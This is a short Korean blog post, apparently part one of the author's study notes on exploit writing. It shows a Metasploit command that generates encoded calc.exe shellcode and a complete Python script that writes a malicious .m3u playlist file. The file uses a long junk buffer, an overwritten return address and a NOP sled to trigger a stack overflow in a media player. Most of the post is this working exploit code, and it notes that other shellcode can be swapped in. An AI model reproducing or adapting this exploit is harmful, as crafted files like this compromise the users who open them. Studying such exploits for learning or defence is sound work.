cdpython@ubuntu:~/metasploit$ ./msfpayload windows/exec CMD=calc.exe EXITFUNC=process R | ./msfencode -e x86/alpha_upper


msfpayload로 calc를 실행하고 프로세스를 생성하는 쉘코드를 생성 한 뒤

msfencode로 인코딩 합니다.

기본적으로 msfpayload에서 제공하는 exec  쉘코드에는 널 바이트가 포함되어있어서 

인코딩을 해서 사용합니다.

from struct import pack f = open("test.m3u","wb") junk = "\x41" * 26101 eip = pack("<L",0x01DDF23A) shellcode = "\x90" * 25 shellcode += ( "\x89\xe1\xd9\xcb\xd9\x71\xf4\x5a\x4a\x4a\x4a\x4a\x4a\x43" "\x43\x43\x43\x43\x43\x52\x59\x56\x54\x58\x33\x30\x56\x58" "\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41\x42" "\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30" "\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x4a\x48" "\x4d\x59\x35\x50\x53\x30\x53\x30\x55\x30\x4c\x49\x4b\x55" "\x36\x51\x58\x52\x55\x34\x4c\x4b\x51\x42\x30\x30\x4c\x4b" "\x56\x32\x54\x4c\x4c\x4b\x50\x52\x42\x34\x4c\x4b\x43\x42" "\x57\x58\x44\x4f\x58\x37\x31\x5a\x56\x46\x30\x31\x4b\x4f" "\x30\x31\x4f\x30\x4e\x4c\x37\x4c\x45\x31\x33\x4c\x55\x52" "\x46\x4c\x37\x50\x39\x51\x48\x4f\x54\x4d\x35\x51\x49\x57" "\x4a\x42\x4c\x30\x36\x32\x31\x47\x4c\x4b\x50\x52\x44\x50" "\x4c\x4b\x50\x42\x57\x4c\x33\x31\x58\x50\x4c\x4b\x31\x50" "\x42\x58\x4b\x35\x49\x50\x33\x44\x51\x5a\x45\x51\x58\x50" "\x46\x30\x4c\x4b\x57\x38\x54\x58\x4c\x4b\x56\x38\x37\x50" "\x35\x51\x58\x53\x4d\x33\x57\x4c\x30\x49\x4c\x4b\x56\x54" "\x4c\x4b\x33\x31\x4e\x36\x46\x51\x4b\x4f\x56\x51\x49\x50" "\x4e\x4c\x39\x51\x48\x4f\x54\x4d\x53\x31\x48\x47\x46\x58" "\x4d\x30\x32\x55\x5a\x54\x44\x43\x53\x4d\x4b\x48\x57\x4b" "\x43\x4d\x47\x54\x44\x35\x5a\x42\x36\x38\x4c\x4b\x51\x48" "\x37\x54\x53\x31\x39\x43\x35\x36\x4c\x4b\x44\x4c\x50\x4b" "\x4c\x4b\x46\x38\x35\x4c\x55\x51\x48\x53\x4c\x4b\x55\x54" "\x4c\x4b\x55\x51\x38\x50\x4c\x49\x50\x44\x47\x54\x36\x44" "\x31\x4b\x31\x4b\x33\x51\x50\x59\x50\x5a\x30\x51\x4b\x4f" "\x4d\x30\x36\x38\x51\x4f\x51\x4a\x4c\x4b\x32\x32\x4a\x4b" "\x4c\x46\x51\x4d\x33\x5a\x35\x51\x4c\x4d\x4d\x55\x48\x39" "\x55\x50\x55\x50\x43\x30\x56\x30\x45\x38\x50\x31\x4c\x4b" "\x32\x4f\x4d\x57\x4b\x4f\x48\x55\x4f\x4b\x4c\x30\x58\x35" "\x39\x32\x30\x56\x55\x38\x59\x36\x5a\x35\x4f\x4d\x4d\x4d" "\x4b\x4f\x38\x55\x47\x4c\x55\x56\x53\x4c\x55\x5a\x4d\x50" "\x4b\x4b\x4b\x50\x34\x35\x34\x45\x4f\x4b\x51\x57\x45\x43" "\x32\x52\x42\x4f\x42\x4a\x53\x30\x36\x33\x4b\x4f\x4e\x35" "\x35\x33\x45\x31\x42\x4c\x32\x43\x56\x4e\x55\x35\x52\x58" "\x43\x55\x43\x30\x41\x41") f.write(junk+eip+shellcode) f.close() print "m3u FIle Created!!"


이제 한번 실행 해 볼까요?

성 공!!!

이제 계산기 대신 다신 쉘코드를 사용하면 원하는 대로 흐름을 조작 할 수 있습니다.

이것으로 part1 을 마치겠습니다.

개인적으로 정리하는게 목적이라 부족하고, 틀리고 오역이 있을 겁니다.

따듯하게 피드백 해주시면 하겠습니다 ㅎㅎ

저작자 표시 비영리 변경 금지
신고
Posted by cdpython
TAG ,

티스토리 툴바